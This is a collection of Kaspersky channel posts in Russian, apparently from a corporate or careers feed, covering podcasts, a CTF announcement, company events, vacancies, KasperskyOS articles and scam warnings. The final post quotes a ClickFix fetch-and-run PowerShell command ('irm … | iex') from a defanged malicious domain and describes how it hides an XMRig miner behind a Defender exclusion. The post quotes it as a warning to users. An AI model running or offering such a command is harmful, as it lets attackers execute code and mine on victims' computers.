Щупальца злоумышленников дотянулись до хентай-игр

За расследование инцидента взялся наш 18-летний стажер-ресечер из команды GReAT🔎

В новом выпуске подкаста «ТырыПыры» говорим о том, как выглядит первое большое исследование молодого специалиста, почему геймеры становятся удобной целью для атак, и как устройство переходит под чужое управление, пока пользователь занят игрой.

Чтобы оставаться защищенным даже в самые уязвимые моменты:
🟢Используйте и не отключайте защитные решения;
🟢Не скачивайте контент для взрослых из сомнительных источников, а если скачали - не передавайте лишние данные. Привязка сторонних аккаунтов может использоваться для шантажа;
🟢Не кликайте на баннерную рекламу даже на самых популярных 18+ платформах.

Открываем регистрацию на Kaspersky{CTF} 2026 — 24 часа хардкорных задач

29–30 августа команды со всего мира будут решать реальные кейсы: криптография, реверс, бинарная эксплуатация, форензика и задачи с ИИ. Часть заданий основана на реальных исследованиях экспертов Kaspersky GReAT — максимально приближенный к практике опыт.

Награда ждет своих победителей:
🟢призовой фонд $18 000;
🟢5 сильнейших команд из разных регионов (включая Россию и СНГ) попадут в финал SAS CTF 2026 на Бали.

Что такое SAS CTF:
это закрытый офлайн-финал, который проходит в рамках Security Analyst Summit, одной из ключевых международных конференций по кибербезопасности. Место, где соберутся лучшие мировые ресечеры индустрии.

Если у вас есть команда (или вы давно хотели её собрать) — это хороший шанс проверить себя на глобальном уровне.

Регистрация: https://lp.kaspersky.com/ctf/

🥳Kaspersky исполнилось 29 лет🥳

В этом году мы работали много и усердно, а поэтому и отдыхали на всю катушку!

Всю пятницу на территории курорта Завидово мы:
✅ Катались в ковше экскаватора
✅ Покоряли реки на вейкбордах
✅ Устраивали гонки на чемоданах
✅ Вместе с зарубежными командами пробовали блюда из разных уголков мира
И участвовали еще в десятках активностей

А под конец вечера хорошенько притоптали поле под выступление Нейромонаха Феофана🤩
(Еще, конечно, топтали поле на дискотеке до 4 утра, но редактор канала в это время уже спал)

Хотите так же? Ждем ваш отклик на наши открытые вакансии!

Первые шаги в системной разработке начинаются не с идеального резюме, а с понимания, как всё устроено внутри 🧑‍💻

В новом выпуске подкаста «Мы обречены», Игорь Подвойский, руководитель группы разработки компонентов мультимедиа в KasperskyOS, собрал все ключевые темы как для начинающих, так и для продвинутых специалистов:

🟢 дефицит C‑разработчиков, заменил ли их ИИ;
🟢 новая система найма, прохождение собеседований по System Design;
🟢 устройство нашей операционной системы и онбординг в большую кодовую базу;
🟢 взращивание экспертизы внутри и зачем айтишнику развивать публичность.

Редкая возможность посмотреть не на отдельную вакансию, а на весь цикл: как знания попадают в компанию, как в ней живут и что с ними происходит дальше — приятного просмотра на YouTube, VK и прослушивания в ЯндексМузыке.

После разговора об устройстве разработки KasperskyOS и об устройстве на разработку KasperskyOS — делимся возможностью стать ее частью!

Мы ищем C-разработчиков в несколько команд для работы на стыке системной разработки, безопасности и большой системной архитектуры.

⭐️ Architecture Office
Команда отвечает за техническое видение ОС и то, как она будет развиваться — с фокусом на безопасность, производительность и энергоэффективность. Здесь работают над архитектурными решениями, ревью и долгосрочной трансформацией платформы под новые сценарии.

⭐️ Toolchain Development
Это про SDK, компиляторы, стандартную библиотеку и все, что нужно, чтобы системная разработка была надежной и на уровне мировых практик.

⭐️ Network Team
Это не только сеть, но и все, что обеспечивает взаимодействие системы с внешним миром: DHCP, DNS, TLS, Bluetooth, GPS, GSM и смежные компоненты.

Прокачай свои навыки перед стартом осеннего набора SafeBoard!

👨‍🎓 Подготовили список литературы на лето (потом проверим ваши читательские дневники навыки на отборочных заданиях):

Системный анализ
«Язык UML, Руководство пользователя», Гради Буч, Джеймс Рамбо, Ивар Якобсон.
Руководство от самих авторов.

DevOps
«Теоретический минимум по Computer Science», Владстон Фаррейра Фило.
Поможет систематизировать знания об информационных системах и их сложности.

Manual Testing
QA_Bible, большая база знаний по тестированию со ссылками на множество полезных ресурсов.

Разработка Go
"100 ошибок Go и как их избежать", Харшани Т.
Лучше всего учиться на чужих ошибках.

👨‍🎓 Работа — не волк, в лес не убежит. Но, как выясняется, падел – тоже не волк: играть в него можно так, чтобы ни один дедлайн не пострадал, а рабочие задачи никуда не разбежались.

Рассказываем, как из этой логики выросло одно из самых заряженных внутренних комьюнити компании.

Как всё начиналось
В начале был один сотрудник, который решил попробовать новый вид спорта – и, как это часто бывает, втянул за собой коллег. Правда, поначалу энтузиазм разделяли всего несколько человек: полгода команда играла узким кругом.
Переломный момент наступил, когда клич кинули на внутренний форум. Идею подхватили коллеги из HR – а дальше сработало то самое сарафанное радио: они начали звать своих людей, те своих, и буквально за месяц комьюнити выросло до полусотни человек. Разработчики, безопасники, HR и многие другие направления – падел неожиданно объединил самых разных людей внутри компании.

Где комьюнити сейчас
🟢больше 90 постоянных участников от джунов до руководителей направлений
🟢активное общение и командные игры
🟢5 успешных внутренних турниров

Место найдется каждому
В паделе есть градация по уровню игры: D/D+ – комфортный старт для тех, кто только знакомится с ракеткой, C – для тех, чьи навыки уже стали стабильнее. Благодаря этому на площадке одинаково хорошо и новичку, и тому, кто играет не первый месяц, здесь никто не чувствует себя лишним.

С чего начать
Самый простой и самый рабочий способ – позвать с собой коллегу или друга и вместе сходить на первую тренировку. Главное на старте – не гнаться за результатом, а получить удовольствие от процесса: движения, эмоций, новой физической активности после рабочего дня.
Кстати, бежать за дорогой ракеткой в первый день точно не стоит. Ракетки для падела сильно различаются между собой – балансом, материалами, стилем игры: одни созданы для атаки, другие лучше работают в защите. Разобраться, что подходит именно вам, гораздо проще на практике, тем более что в клубах есть аренда, так что стартовать можно вообще без вложений в экипировку.

Что даёт участие, кроме самого спорта
Помимо тренировки тела, это ещё и способ иначе взглянуть на коллег. На корте случайно оказываешься рядом с человеком, с которым в обычной рабочей жизни, скорее всего, никогда бы не пересёкся, – а потом обнаруживаешь общие темы, шутки и совместные планы на следующую игру. Это возможность переключиться от рабочей рутины, эмоционально выдохнуть.

Что дальше
Останавливаться комьюнити не планирует: следующая цель – выйти на межкорпоративные турниры и помериться силами с командами других компаний.
Кто знает, может быть именно ты откроешь новое сообщество внутри Kaspersky? Конечно, сперва открыв наши карьерные возможности 😍

Нолан экранизирует «Одиссею», а мошенники — древний трюк с Троянским конем. Только теперь конь приходит через браузер.

Наши эксперты нашли несколько скам-схем вокруг премьеры, которые нацелены в том числе на русскоязычных пользователей:
🟢 В первой схеме сайт предлагает посмотреть фильм за подписку в 12 рублей. Сначала списывают 12, потом — всё остальное на карте несколькими траншами.
🟢 Во второй – для «доступа» к контенту нужно получить код через Telegram-бота. После ввода на сайте — автоматический редирект на скам-ресурсы.
🟢В третьей – сайты с многоязычным дубляжом, ложными положительными отзывами и «бесплатной пробной версией» — регистрируешься, оставляешь почту, пароль и данные карты для активации пробного периода. Дальше эти данные используются в более сложных атаках.

❕Если фильм только-только вышел в кино, но уже «доступен» на подозрительном сайте — это не везение, а приманка.
Не доверяйте свои данные подозрительным сайтам и пользуйтесь многофакторной аутентификацией.

А если тебе интереснее самому разбирать схемы мошенников — следи за анонсами наших стажировок 🧑‍💻

🤯 Это случилось...

У нас вышла 1000 статей на Хабр!
Чтобы прочитать все понадобится около недели — отличный челлендж для самых стойких. Наши авторы останавливаться не планируют, так что следим за новыми материалами тут

«БарахоЛКа Мидори»: 400 007 рублей выручки 🤯

Недавно коллеги организовали первую корпоративную благотворительную «БарахоЛКу Мидори».

За два дня сотрудники принесли около 300 (!) предметов одежды, аксессуаров и техники. После проверки и отбора примерно две трети вещей получили шанс найти новых владельцев.

Общая выручка составила 400 007 рублей. Все деньги перечислили напрямую в фонд помощи хосписам «Вера».

Немного о лотах. Кроме вещей сотрудников, в продажу поступили специальные VIP-лоты от CEO офиса и команды GReAT, винтажный мерч, коллекционные предметы Ferrari F1 и лимитированные банки хмельного, сваренного к недавнему дню рождения компании — они нашли своих владельцев в первые полчаса.

Увидимся на следующей «БарахоЛКе»!

Какая она, Kaspersky AI Lab?

Мы отправились туда, чтобы выяснить это лично. Вот что успели:

🔴 Научили своего ИИ-агента писать сценарии и использовать разные инструменты.

🔴 Сыграли в большую битву ИИ-агентов. Победить не получилось, поэтому бокал холодного пива достался другому.

🔴 Искали скрытые CTF-таски. За найденные задания дают приличное количество офкоинов!

🔴 Проверили себя в квизе. Оказалось, мы неплохо разбираемся в искусстве, науке и кибербезе.

🔴 Искали зараженные картины с искажениями, остатками кода и артефактами ИИ. Все заражения нужно найти за ограниченное время, это оказалось совсем непросто.

Обязательно загляните в лабу и попробуйте свои силы во всех активностях. Уверены, вы справитесь и заработаете очень много офкоинов!

Гоферы, сентярьский сбор 🧐

Let’s GoConf собирает тех, кто пишет на Go и хочет заглянуть под капот самых свежих технологий. Мы приедем с докладом и стендом, где можно проверить себя в деле.

📣 Доклад «От syscall до вердикта за миллисекунды»
Никита Зайцев, Senior Backend Developer, покажет реалтайм-конвейер форензики поверх eBPF: как перехватывать события ядра, обогащать их контекстом пода и выносить вердикт раньше, чем злоумышленник успеет закрепиться. Если вам близки наблюдаемость в Kubernetes, горячие пути и системы с минимальным откликом — приходите.

🎮 После доклада — стенд Kaspersky. Мы собрали три игры из ежедневной жизни Go-разработчика:
• Гошный Alias — объясняете термины через описание и аналогии.
• Построй инфраструктуру — собираете проект из компонентов и защищаете архитектуру перед экспертом.
• Гошная "Своя игра" — набираете баллы и забираете победу.

За каждую пройденную игру — штамп в карточку участника. Соберёте все штампы — заберёте мерч.

Ищите стенд Kaspersky на Let’s GoConf 11 сентября. Будет азартно, полезно и очень по-гошному 🔥

Цель на следующие 3 дня: успеть всё, что не успелось за 3 месяца.

Лето заканчивается, а список планов почему-то выглядит как в его начале.
Мы провели мини-опрос среди коллег и нашли главные незакрытые летние планы:

🎸 Сходить на сольник любимого исполнителя

🏃‍➡️ Начать бегать по парку каждое утро

🍉 Купить огромный арбуз, и не знать как его осилить одному

☀️ Встретить красивый закат не только уходя с работы

🚴🏄 Вдоволь накататься на великах и сапах

🤑 Купить билет на конференцию Let's GoConf со скидкой по промокоду LetsGo

Признавайтесь: какой летний пункт всё ещё ждёт своего часа у вас? Присылайте в комментарии подходящий эмодзи ⬇️

Мы видим твой JS-стек 🧑‍💻

На Хабре вышла вторая статья про наши технические радары, предыдущую можно найти здесь.

Вместе с Пашей Востриковым, архитектором веб-направления, анализируем текущий ландшафт JS-разработки и делимся главными инсайтами.

Ключевые выводы:
🟢Базовый стек разработчика наконец устоялся: TypeScript, Git, pnpm, Vite, CI/CD и юнит-тесты прочно закрепились в зоне Adopt.
🟢FSD и микрофронтенды вызывают жаркие споры: сообщество устало платить архитектурный налог без явной бизнес-необходимости.
🟢CSS-in-JS уступает место zero-runtime и нативным возможностям браузера. Инженерный прогресс всё чаще выглядит как удаление технологии.
🟢AI меняет роль разработчика: написание функций уходит ассистенту, а проектирование системных ограничений остаётся человеку.

Исследование всё ещё идёт. Переходите по ссылке, изучайте результаты и делайте свой вклад в развитие карты JS-экосистемы тут.

KasperskyOS: ОС, где безопасность заложена в чертёж 🛡

Свою операционную систему в «Лаборатории Касперского» пишут с нуля уже больше десяти лет. Собрали три свежие статьи с Хабра про то, как она устроена: корень доверия, архитектура микроядра и драйверы на плюсах.

Коротко про систему

KasperskyOS это микроядерная ОС собственной разработки. Ядро маленькое: планировщик, память, процессы, IPC. Драйверы, файловые системы и сетевой стек живут в пользовательском пространстве как обычные приложения, изолированы друг от друга, а каждое взаимодействие проходит через монитор безопасности с политиками. На этом строятся кибериммунные решения, сама ОС сертифицирована по требованиям ФСТЭК.

1. Зачем ОС нужен Root-of-Trust и как KasperskyOS работает с разными реализациями

Антон Рыбаков, руководитель разработки функций безопасности KasperskyOS, объясняет, откуда в системе берётся исходная точка доверия. Корень доверия бывает разным: секрет в eFUSE на кристалле, отдельное security-ядро внутри SoC, внешний чип вроде Secure Element или TPM, открытые проекты типа OpenTitan, доверенная среда исполнения на TrustZone. В статье разбор всех этих вариантов с ограничениями, история про то, что делать, если секрет скомпрометирован и его нельзя заменить, и рассказ про KRoT HAL: слой абстракции, благодаря которому сервисы ОС видят единый интерфейс вместо особенностей конкретного чипа.

2. Безопасность микроядра: где заканчивается трюизм и начинается инженерия

Анна Мелехова, старший архитектор ПО, берёт привычный тезис «микроядро безопаснее, потому что кода меньше» и проверяет его на прочность. Да, в Linux больше 40 миллионов строк и сотни системных вызовов, в микроядре десятки тысяч строк и около десятка вызовов. Но интереснее инженерные следствия. Почему в KasperskyOS можно запретить исполняемые аллокации почти всем процессам. Почему фаззинг через syzkaller находит до смешного мало ошибок. Почему KASLR в микроядре работает сильнее, а коллизии в kCFI встречаются реже.

3. Гетерогенный lookup: как одна фича C++ сделала драйвер проще, чище и быстрее, чем на C

Женя Ерохин, старший разработчик с пятнадцатилетним опытом написания драйверов, рассказывает практическую историю. Драйвер VirtIO Vsock он начал писать на C и быстро упёрся в двусвязные списки, ручной подсчёт ссылок и макросы, где легко ошибиться в имени поля. Тогда драйвер переехал на C++. Дальше подробный разбор: unordered_set с shared_ptr вместо ручного подсчёта ссылок, своя хеш-функция с перегрузками, ошибка компиляции про is_transparent и объяснение, как включается гетерогенный lookup.

Читайте и делитесь мыслями в комментариях ⬇️⬇️⬇️

❕ Как «проверенный фикс бага» со Steam-форумов превращает ваш компьютер в тихого майнера.

На форумах Steam мошенники отвечают на вопросы про вылеты, баги и пропавший лут и предлагают «быстрое решение»: открыть PowerShell от имени администратора и выполнить команду вида irm msfconfig[.]icu | iex. Звучит безобидно, но это классическая ClickFix‑атака: вас убеждают своими руками запустить вредонос.

Что делает команда:
irm (Invoke‑RestMethod) скачивает скрипт с чужого сервера по указанному адресу;
iex (Invoke‑Expression) сразу исполняет этот скрипт как код PowerShell.

Скрипт притворяется «оптимизатором Windows»: показывает фейковые уведомления про очистку кэша, обновление драйверов и проверку диска. В фоне он создаёт скрытую папку C:\Windows\Background, добавляет её в исключения Defender и скачивает туда криптомайнер XMRig.

Как не попасться:
🟢не копируйте и не запускайте команды PowerShell/Terminal/cmd из чужих советов на форумах, в чатах и комментариях;
🟢перед запуском любой непонятной команды гуглите, что она делает;
🟢не выключайте антивирус по советам сомнительных инструкций.

И пусть баги обходят вас стороной ✨